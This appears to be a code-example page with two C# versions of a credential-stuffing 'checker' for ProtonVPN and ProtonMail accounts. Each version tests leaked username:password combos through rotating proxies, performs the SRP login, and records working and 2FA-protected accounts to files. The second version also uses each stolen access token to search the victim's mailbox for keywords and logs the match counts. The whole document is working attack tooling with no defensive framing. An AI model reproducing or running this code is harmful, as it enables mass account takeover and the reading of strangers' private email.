Beispiel #1
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    req.AddHeader("Host", "account.protonvpn.com");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0");
                    req.AddHeader("Accept", "application/vnd.protonmail.v1+json");
                    req.AddHeader("Referer", "https://account.protonvpn.com/login");
                    req.AddHeader("x-pm-appversion", "WebVPNSettings_4.1.28");
                    req.AddHeader("x-pm-apiversion", "3");
                    Dictionary <string, string> Postdata = new Dictionary <string, string>
                    {
                        { "Username", credentials[0] }
                    };
                    string check = req.Post("https://account.protonvpn.com/api/auth/info", JsonConvert.SerializeObject(Postdata, Formatting.None), "application/json").ToString();

                    if (check.Contains(":\"Invalid username\""))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }

                    var SALT            = Functions.JSON(check, "Salt").FirstOrDefault();
                    var MODULUS         = Functions.JSON(check, "Modulus").FirstOrDefault();
                    var ServerEphemeral = Functions.JSON(check, "ServerEphemeral").FirstOrDefault();
                    var SRPSession      = Functions.JSON(check, "SRPSession").FirstOrDefault();

                    ProtonDataHash.Process(SALT, MODULUS, credentials[0], credentials[1], ServerEphemeral);

                    req.AddHeader("Host", "account.protonvpn.com");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0");
                    req.AddHeader("Accept", "application/vnd.protonmail.v1+json");
                    req.AddHeader("Referer", "https://account.protonvpn.com/login");
                    req.AddHeader("x-pm-appversion", "WebVPNSettings_4.1.28");
                    req.AddHeader("x-pm-apiversion", "3");
                    Dictionary <string, string> PostData = new Dictionary <string, string>
                    {
                        { "ClientProof", ProtonDataHash.fucker2 },
                        { "ClientEphemeral", ProtonDataHash.f****r },
                        { "SRPSession", SRPSession },
                        { "Username", credentials[0] }
                    };
                    var resp = req.Post("https://account.protonvpn.com/api/auth", JsonConvert.SerializeObject(PostData, Formatting.Indented), "application/json").ToString();

                    if (resp.Contains("\"Incorrect login credentials. Please try again\"") || resp.Contains("Incorrect login credentials"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (resp.Contains("\"AccessToken\":\"") || resp.Contains("\"Uid\":\"") || resp.Contains("\"UID\":"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (resp.Contains("\"2FA\":{\"Enabled\":1") || resp.Contains("\"TwoFactor\":1") || resp.Contains("\"TOTP\":1"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Beispiel #2
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    req.AddHeader("Host", "account.protonvpn.com");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0");
                    req.AddHeader("Accept", "application/vnd.protonmail.v1+json");
                    req.AddHeader("Referer", "https://account.protonvpn.com/login");
                    req.AddHeader("x-pm-appversion", "WebVPNSettings_4.1.28");
                    req.AddHeader("x-pm-apiversion", "3");
                    Dictionary <string, string> Postdata = new Dictionary <string, string>
                    {
                        { "Username", credentials[0] }
                    };
                    string check = req.Post("https://account.protonvpn.com/api/auth/info", JsonConvert.SerializeObject(Postdata, Formatting.None), "application/json").ToString();

                    if (check.Contains(":\"Invalid username\""))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }

                    var SALT            = Functions.JSON(check, "Salt").FirstOrDefault();
                    var MODULUS         = Functions.JSON(check, "Modulus").FirstOrDefault();
                    var ServerEphemeral = Functions.JSON(check, "ServerEphemeral").FirstOrDefault();
                    var SRPSession      = Functions.JSON(check, "SRPSession").FirstOrDefault();

                    ProtonDataHash.Process(SALT, MODULUS, credentials[0], credentials[1], ServerEphemeral);

                    req.AddHeader("Host", "account.protonvpn.com");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0");
                    req.AddHeader("Accept", "application/vnd.protonmail.v1+json");
                    req.AddHeader("Referer", "https://account.protonvpn.com/login");
                    req.AddHeader("x-pm-appversion", "WebVPNSettings_4.1.28");
                    req.AddHeader("x-pm-apiversion", "3");
                    Dictionary <string, string> PostData = new Dictionary <string, string>
                    {
                        { "ClientProof", ProtonDataHash.fucker2 },
                        { "ClientEphemeral", ProtonDataHash.f****r },
                        { "SRPSession", SRPSession },
                        { "Username", credentials[0] }
                    };
                    var resp = req.Post("https://account.protonvpn.com/api/auth", JsonConvert.SerializeObject(PostData, Formatting.Indented), "application/json").ToString();

                    if (resp.Contains("\"Incorrect login credentials. Please try again\"") || resp.Contains("Incorrect login credentials"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (resp.Contains("\"AccessToken\":\"") || resp.Contains("\"Uid\":\"") || resp.Contains("\"UID\":"))
                    {
                        var UID = Functions.JSON(resp, "UID").FirstOrDefault();
                        var AT  = Functions.JSON(resp, "AccessToken").FirstOrDefault();

                        try
                        {
                            foreach (string keyword in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                req.AddHeader("Pragma", "no-cache");
                                req.AddHeader("Referer", "https://mail.protonmail.com/login");
                                req.AddHeader("Sec-Fetch-Dest", "empty");
                                req.AddHeader("Sec-Fetch-Mode", "cors");
                                req.AddHeader("Sec-Fetch-Site", "same-origin");
                                req.AddHeader("Sec-GPC", "1");
                                req.AddHeader("Authorization", "Bearer " + AT + "");
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");
                                req.AddHeader("x-pm-apiversion", "3");
                                req.AddHeader("x-pm-appversion", "Web_3.16.60");
                                req.AddHeader("x-pm-uid", "" + UID + "");

                                var    res0  = req.Get("https://mail.protonmail.com/api/messages?AutoWildcard=0&Keyword=" + keyword + "&Limit=100&Page=0");
                                string text0 = res0.ToString();

                                var totalCount = Functions.LR(text0, ",\"Total\":", ",\"").FirstOrDefault();

                                if (totalCount == null || totalCount == "0")
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + keyword + " | Results: " + totalCount, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{keyword}.txt", combo + " | Keyword: " + keyword + " | Results: " + totalCount + Environment.NewLine);
                                    }
                                }
                            }
                        }
                        catch
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                    }
                    else if (resp.Contains("\"2FA\":{\"Enabled\":1") || resp.Contains("\"TwoFactor\":1") || resp.Contains("\"TOTP\":1"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }